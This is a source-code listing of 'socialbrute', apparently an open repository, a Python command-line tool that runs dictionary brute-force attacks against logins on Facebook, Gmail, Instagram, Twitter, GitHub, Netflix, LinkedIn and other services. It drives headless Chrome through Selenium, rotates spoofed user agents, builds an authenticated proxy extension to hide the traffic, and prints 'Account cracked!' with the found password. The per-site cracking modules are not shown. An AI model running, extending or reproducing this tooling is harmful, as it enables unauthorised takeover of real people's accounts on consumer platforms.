112 | # 'papersize': 'letterpaper',
113 |
114 | # The font size ('10pt', '11pt' or '12pt').
115 | #
116 | # 'pointsize': '10pt',
117 |
118 | # Additional stuff for the LaTeX preamble.
119 | #
120 | # 'preamble': '',
121 |
122 | # Latex figure (float) alignment
123 | #
124 | # 'figure_align': 'htbp',
125 | }
126 |
127 | # Grouping the document tree into LaTeX files. List of tuples
128 | # (source start file, target name, title, author, documentclass
129 | # [howto, manual, or own class]).
130 | latex_documents = [
131 | (master_doc, 'socialbrute.tex',
132 | u'socialbrute Documentation',
133 | u'5h4d0wb0y', 'manual'),
134 | ]
135 |
136 |
137 | # -- Options for manual page output ------------------------------------
138 |
139 | # One entry per manual page. List of tuples
140 | # (source start file, name, description, authors, manual section).
141 | man_pages = [
142 | (master_doc, 'socialbrute',
143 | u'socialbrute Documentation',
144 | [author], 1)
145 | ]
146 |
147 |
148 | # -- Options for Texinfo output ----------------------------------------
149 |
150 | # Grouping the document tree into Texinfo files. List of tuples
151 | # (source start file, target name, title, author,
152 | # dir menu entry, description, category)
153 | texinfo_documents = [
154 | (master_doc, 'socialbrute',
155 | u'socialbrute Documentation',
156 | author,
157 | 'socialbrute',
158 | 'SocialBrute attempts to crack social networks using a brute force dictionary attack.',
159 | 'Miscellaneous'),
160 | ]
161 |
162 |
163 |
164 |
--------------------------------------------------------------------------------
/socialbrute/browser.py:
--------------------------------------------------------------------------------
1 | import zipfile
2 | import json
3 | from selenium.webdriver import Chrome
4 | from selenium.webdriver.chrome.options import Options
5 | from selenium.webdriver.support.ui import WebDriverWait, Select
6 | from selenium.webdriver.support import expected_conditions as EC
7 | from selenium.webdriver.common.by import By
8 |
9 | timeout = 5
10 |
11 |
12 | class Browser:
13 |
14 | def __init__(self):
15 | pass
16 |
17 | def start(self, headless=False, proxy=None, user_agent=None):
18 | global driver
19 | chrome_options = Options()
20 |
21 | chrome_options.add_argument("--no-sandbox")
22 | chrome_options.add_argument("--disable-setuid-sandbox")
23 | chrome_options.add_argument("--disable-dev-shm-using")
24 | chrome_options.add_argument("--disable-extensions")
25 | chrome_options.add_argument("--disable-gpu")
26 | chrome_options.add_argument("--lang=en")
27 | # if os.environ.get('ARE_ON_TRAVIS') == 'True':
28 | # chrome_options.add_argument("--no-sandbox")
29 | # chrome_options.add_argument("--disable-gpu")
30 | if headless:
31 | chrome_options.add_argument("--headless")
32 | if proxy:
33 | proxy = json.loads(proxy)
34 | manifest_json = """
35 | {
36 | "version": "1.0.0",
37 | "manifest_version": 2,
38 | "name": "Chrome Proxy",
39 | "permissions": [
40 | "proxy",
41 | "tabs",
42 | "unlimitedStorage",
43 | "storage",
44 | "",
45 | "webRequest",
46 | "webRequestBlocking"
47 | ],
48 | "background": {
49 | "scripts": ["background.js"]
50 | },
51 | "minimum_chrome_version":"22.0.0"
52 | }
53 | """
54 |
55 | background_js = """
56 | var config = {
57 | mode: "fixed_servers",
58 | rules: {
59 | singleProxy: {
60 | scheme: "http",
61 | host: "%s",
62 | port: parseInt(%s)
63 | },
64 | bypassList: ["localhost"]
65 | }
66 | };
67 |
68 | chrome.proxy.settings.set({value: config, scope: "regular"}, function() {});
69 |
70 | function callbackFn(details) {
71 | return {
72 | authCredentials: {
73 | username: "%s",
74 | password: "%s"
75 | }
76 | };
77 | }
78 |
79 | chrome.webRequest.onAuthRequired.addListener(
80 | callbackFn,
81 | {urls: [""]},
82 | ['blocking']
83 | );
84 | """ % (proxy['host'], proxy['port'], proxy['user'], proxy['pass'])
85 | pluginfile = 'proxy_auth_plugin.zip'
86 | with zipfile.ZipFile(pluginfile, 'w') as zp:
87 | zp.writestr("manifest.json", manifest_json)
88 | zp.writestr("background.js", background_js)
89 | chrome_options.add_extension(pluginfile)
90 | chrome_options.add_argument('--proxy-server=%s' % proxy)
91 | # chrome_options.add_argument('--proxy-server=%s' % hostname + ":" + port)
92 | if user_agent:
93 | chrome_options.add_argument('--user-agent=%s' % user_agent)
94 | self.driver = Chrome(options=chrome_options)
95 |
96 | def stop(self):
97 | self.driver.quit()
98 |
99 | def get_driver(self):
100 | return self.driver
101 |
102 | def wait_page_loaded(self):
103 | def condition(browser): return self.driver.execute_script(
104 | "return document.readyState"
105 | ) in ["complete" or "loaded"]
106 | try:
107 | wait = WebDriverWait(self.driver, timeout)
108 | result = wait.until(condition)
109 | except TimeoutException:
110 | return False
111 | return result
112 |
113 | def wait_until_element_exists(self, by, value):
114 | if by == 'xpath':
115 | elem = WebDriverWait(
116 | self.driver, timeout).until(
117 | EC.presence_of_element_located(
118 | (By.XPATH, value)))
119 | elif by == 'id':
120 | elem = WebDriverWait(
121 | self.driver, timeout).until(
122 | EC.presence_of_element_located(
123 | (By.ID, value)))
124 | elif by == 'name':
125 | elem = WebDriverWait(
126 | self.driver, timeout).until(
127 | EC.presence_of_element_located(
128 | (By.NAME, value)))
129 | elif by == 'css':
130 | elem = WebDriverWait(
131 | self.driver, timeout).until(
132 | EC.presence_of_element_located(
133 | (By.CSS_SELECTOR, value)))
134 | return elem
135 |
136 | def select_dropdown_by(self, by, value):
137 | if by == 'xpath':
138 | elem = Select(self.driver.find_element_by_xpath(value))
139 | elif by == 'id':
140 | elem = Select(self.driver.find_element_by_id(value))
141 | elif by == 'name':
142 | elem = Select(self.driver.find_element_by_name(value))
143 | elif by == 'css':
144 | elem = Select(self.driver.find_element_by_css_selector(value))
145 | return elem
146 |
--------------------------------------------------------------------------------
/socialbrute/cli.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 |
3 | """Console script for socialbrute."""
4 | import os
5 | import sys
6 | import click
7 | from terminaltables import SingleTable # AsciiTable
8 |
9 | from socialbrute.socialbrute import *
10 | from socialbrute.helpers import Colors
11 | from socialbrute import __author__, __version__
12 |
13 | SOCIALS = [
14 | "aol",
15 | "facebook",
16 | "gmail",
17 | "hotmail",
18 | "instagram",
19 | "twitter",
20 | "vk",
21 | "yahoo",
22 | "spotify",
23 | "netflix",
24 | "gitlab",
25 | "github",
26 | "linkedin"
27 | ]
28 |
29 |
30 | def show_banner():
31 | click.echo(Colors.GREEN)
32 | click.echo(
33 | r" $$$$$$\ $$\ $$\ $$$$$$$\ $$\ ")
34 | click.echo(
35 | r"$$ __$$\ \__| $$ |$$ __$$\ $$ | ")
36 | click.echo(
37 | r"$$ / \__| $$$$$$\ $$$$$$$\ $$\ $$$$$$\ $$ |$$ | $$ | $$$$$$\ $$\ $$\ $$$$$$\ $$$$$$\ ")
38 | click.echo(
39 | r"\$$$$$$\ $$ __$$\ $$ _____|$$ | \____$$\ $$ |$$$$$$$\ |$$ __$$\ $$ | $$ |\_$$ _| $$ __$$\ ")
40 | click.echo(
41 | r" \____$$\ $$ / $$ |$$ / $$ | $$$$$$$ |$$ |$$ __$$\ $$ | \__|$$ | $$ | $$ | $$$$$$$$ |")
42 | click.echo(
43 | r"$$\ $$ |$$ | $$ |$$ | $$ |$$ __$$ |$$ |$$ | $$ |$$ | $$ | $$ | $$ |$$\ $$ ____|")
44 | click.echo(
45 | r"\$$$$$$ |\$$$$$$ |\$$$$$$$\ $$ |\$$$$$$$ |$$ |$$$$$$$ |$$ | \$$$$$$ | \$$$$ |\$$$$$$$\ ")
46 | click.echo(r" \______/ \______/ \_______|\__| \_______|\__|\_______/ \__| \______/ \____/ \_______|" + (Colors.ENDC))
47 | click.echo("\n --[ Version: " +
48 | (Colors.YELLOW) +
49 | (Colors.BOLD) +
50 | (__version__) +
51 | (Colors.ENDC) +
52 | " ]--")
53 | click.echo(" --[ Author: " +
54 | (Colors.CYAN) +
55 | (Colors.BOLD) +
56 | (__author__) +
57 | (Colors.ENDC) +
58 | " ]--\n\n")
59 |
60 |
61 | def prompt_proxy(ctx, param, use_proxy):
62 | if use_proxy:
63 | host = ctx.params.get('proxy_host')
64 | if not host:
65 | host = click.prompt('Proxy host', default='localhost')
66 |
67 | port = ctx.params.get('proxy_port')
68 | if not port:
69 | port = click.prompt('Proxy port', default=9050)
70 |
71 | user = ctx.params.get('proxy_user')
72 | if not user:
73 | user = click.prompt('Proxy user', default=None)
74 |
75 | pwd = ctx.params.get('proxy_pass')
76 | if not pwd:
77 | pwd = click.prompt('Proxy user\'s password', default=None)
78 | return (host, port, user, pwd)
79 |
80 |
81 | @click.command()
82 | @click.option(
83 | '--use-proxy/--no-proxy',
84 | is_flag=True,
85 | default=False,
86 | help='Set a proxy to use',
87 | callback=prompt_proxy)
88 | @click.option('--proxy-host', is_eager=True, help='Set the proxy host')
89 | @click.option(
90 | '--proxy-port',
91 | is_eager=True,
92 | type=int,
93 | help='Specify the proxy port')
94 | @click.option('--proxy-user', is_eager=True, help='Set the proxy user')
95 | @click.option(
96 | '--proxy-pass',
97 | is_eager=True,
98 | help='Set the proxy user\'s password')
99 | @click.option('-u', '--username', help='Set the username')
100 | @click.option(
101 | '-s',
102 | '--social',
103 | type=click.Choice(SOCIALS),
104 | help='Set the social network')
105 | @click.option(
106 | '-w',
107 | '--wordlist',
108 | type=click.Path(),
109 | help='Set the wordlist path')
110 | @click.option(
111 | '-d',
112 | '--delay',
113 | type=int,
114 | default=1,
115 | help='Provide the number of seconds the program delays as each password is tried')
116 | @click.option('--interactive/--no-interactive', is_flag=True,
117 | default=False, help='Set the browser emulation interactive')
118 | def main(use_proxy, proxy_host, proxy_port, proxy_user, proxy_pass,
119 | username, social, wordlist, delay, interactive):
120 | """Console script for socialbrute."""
121 | if not username:
122 | print_error("Missing '-u' or '--username' argument!")
123 | sys.exit(-1)
124 |
125 | if not social:
126 | print_error("Missing '-s' or '--social' argument!")
127 | sys.exit(-1)
128 |
129 | if social not in SOCIALS:
130 | data = []
131 | for x in SOCIALS:
132 | data.append("%s%s%s" % (Colors.PURPLE, x, Colors.ENDC))
133 | t = SingleTable(
134 | [data], "%s%s Available Social Networks %s" %
135 | (Colors.YELLOW, Colors.BOLD, Colors.ENDC))
136 | print(t.table)
137 | print("\n")
138 | print_error("Wrong '-s' or '--social' argument!")
139 | return 0
140 |
141 | if not wordlist:
142 | print_error("Missing '-w' or '--wordlist' argument!")
143 | return 0
144 |
145 | if not os.path.isfile(wordlist):
146 | print_error('The wordlist does not exist.')
147 | return 0
148 |
149 | interact = not interactive
150 |
151 | if use_proxy:
152 | proxy = {
153 | 'host': proxy_host,
154 | 'port': proxy_port,
155 | 'user': proxy_user,
156 | 'pass': proxy_pass,
157 | }
158 | sb = Socialbrute(interactive=interact, proxy=proxy)
159 | else:
160 | sb = Socialbrute(interactive=interact)
161 |
162 | sb.run(social, username, wordlist, delay)
163 |
164 | sb.stop()
165 |
166 | return 0
167 |
168 |
169 | if __name__ == "__main__":
170 | show_banner()
171 | sys.exit(main()) # pragma: no cover
172 |
--------------------------------------------------------------------------------
/socialbrute/socialbrute.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 |
3 | import random
4 | import click
5 | from yaspin import yaspin
6 |
7 | from .modules.facebook import Facebook
8 | from .modules.gmail import Gmail
9 | from .modules.hotmail import Hotmail
10 | from .modules.instagram import Instagram
11 | from .modules.twitter import Twitter
12 | from .modules.vk import Vk
13 | from .modules.yahoo import Yahoo
14 | from .modules.aol import Aol
15 | from .modules.spotify import Spotify
16 | from .modules.netflix import Netflix
17 | from .modules.gitlab import Gitlab
18 | from .modules.github import Github
19 | from .modules.linkedin import Linkedin
20 | from .helpers import *
21 | from .browser import *
22 |
23 | """Main module."""
24 |
25 | USER_AGENTS = [
26 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246",
27 | "Mozilla/5.0 (X11; CrOS x86_64 8172.45.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.64 Safari/537.36",
28 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 Safari/601.3.9",
29 | "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36",
30 | "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:15.0) Gecko/20100101 Firefox/15.0.1",
31 | "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1",
32 | "Mozilla/5.0 (X11; U; Linux amd64; en-US; rv:5.0) Gecko/20110619 Firefox/5.0",
33 | "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b8pre) Gecko/20101213 Firefox/4.0b8pre",
34 | "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)",
35 | "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 7.1; Trident/5.0)",
36 | "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) chromeframe/10.0.648.205",
37 | "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.2; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727)",
38 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.861.0 Safari/535.2",
39 | "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.872.0 Safari/535.2",
40 | "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.812.0 Safari/535.1",
41 | ]
42 |
43 |
44 | class Socialbrute(object):
45 |
46 | def __init__(self, interactive=True, proxy=None):
47 | self.browser = Browser()
48 | ua = random.choice(USER_AGENTS)
49 | if proxy:
50 | self.browser.start(
51 | headless=interactive,
52 | proxy=proxy,
53 | user_agent=ua)
54 | else:
55 | self.browser.start(headless=interactive, user_agent=ua)
56 |
57 | def stop(self):
58 | self.browser.stop()
59 |
60 | def run(self, social, username, wordlist, delay, proxy=None):
61 | total = len(open(wordlist, 'r').read().split('\n'))
62 |
63 | click.echo(' Social Network: ' + (Colors.YELLOW) +
64 | social.capitalize() + (Colors.ENDC))
65 | click.echo(' Wordlist: ' +
66 | (Colors.YELLOW) + wordlist + (Colors.ENDC))
67 | click.echo(' Total Words: ' + (Colors.YELLOW) +
68 | str(total) + (Colors.ENDC))
69 | click.echo(' Delay: ' + (Colors.YELLOW) +
70 | str(delay) + (Colors.ENDC))
71 |
72 | # to resolve the UnboundLocalError: local variable 'a' referenced
73 | # before assignment
74 | a = None
75 |
76 | if social == 'facebook':
77 | a = Facebook(self.browser)
78 | elif social == 'instagram':
79 | a = Instagram(self.browser)
80 | elif social == 'twitter':
81 | a = Twitter(self.browser)
82 | elif social == 'gmail':
83 | a = Gmail(self.browser)
84 | elif social == 'hotmail':
85 | a = Hotmail(self.browser)
86 | elif social == 'yahoo':
87 | a = Yahoo(self.browser)
88 | elif social == 'vk':
89 | a = Vk(self.browser)
90 | elif social == 'aol':
91 | a = Aol(self.browser)
92 | elif social == 'spotify':
93 | a = Spotify(self.browser)
94 | elif social == 'netflix':
95 | a = Netflix(self.browser)
96 | elif social == 'gitlab':
97 | a = Gitlab(self.browser)
98 | elif social == 'github':
99 | a = Github(self.browser)
100 | elif social == 'linkedin':
101 | a = Linkedin(self.browser)
102 | else:
103 | print_error("Social network not supported!")
104 | return
105 |
106 | a.set_config(username, wordlist, delay)
107 | user_exists = a.check_user()
108 |
109 | click.echo(' Username: ' +
110 | (Colors.YELLOW) + username + (Colors.ENDC))
111 | click.echo(' Extracted Name: ' +
112 | (Colors.YELLOW) + a.name + (Colors.ENDC))
113 | click.echo('')
114 |
115 | if not user_exists:
116 | print_error(
117 | "It was not possible to retrieve the name from %s." %
118 | (social.capitalize()))
119 | click.confirm('Do you want to continue?', abort=True)
120 |
121 | with yaspin(text="Brute forcing... Please wait...", color="cyan") as sp:
122 | password = a.crack()
123 | if password:
124 | sp.ok("✔")
125 | print_success("Account cracked!")
126 | click.echo("Username: " +
127 | (Colors.GREEN) +
128 | (Colors.BOLD) +
129 | "%s" %
130 | username +
131 | (Colors.ENDC))
132 | click.echo("Password: " +
133 | (Colors.GREEN) +
134 | (Colors.BOLD) +
135 | "%s" %
136 | password +
137 | (Colors.ENDC))
138 | else:
139 | sp.fail("✗")
140 | print_error(
141 | "Account not cracked! Try to crack it with another wordlist.")
142 | return
143 |
--------------------------------------------------------------------------------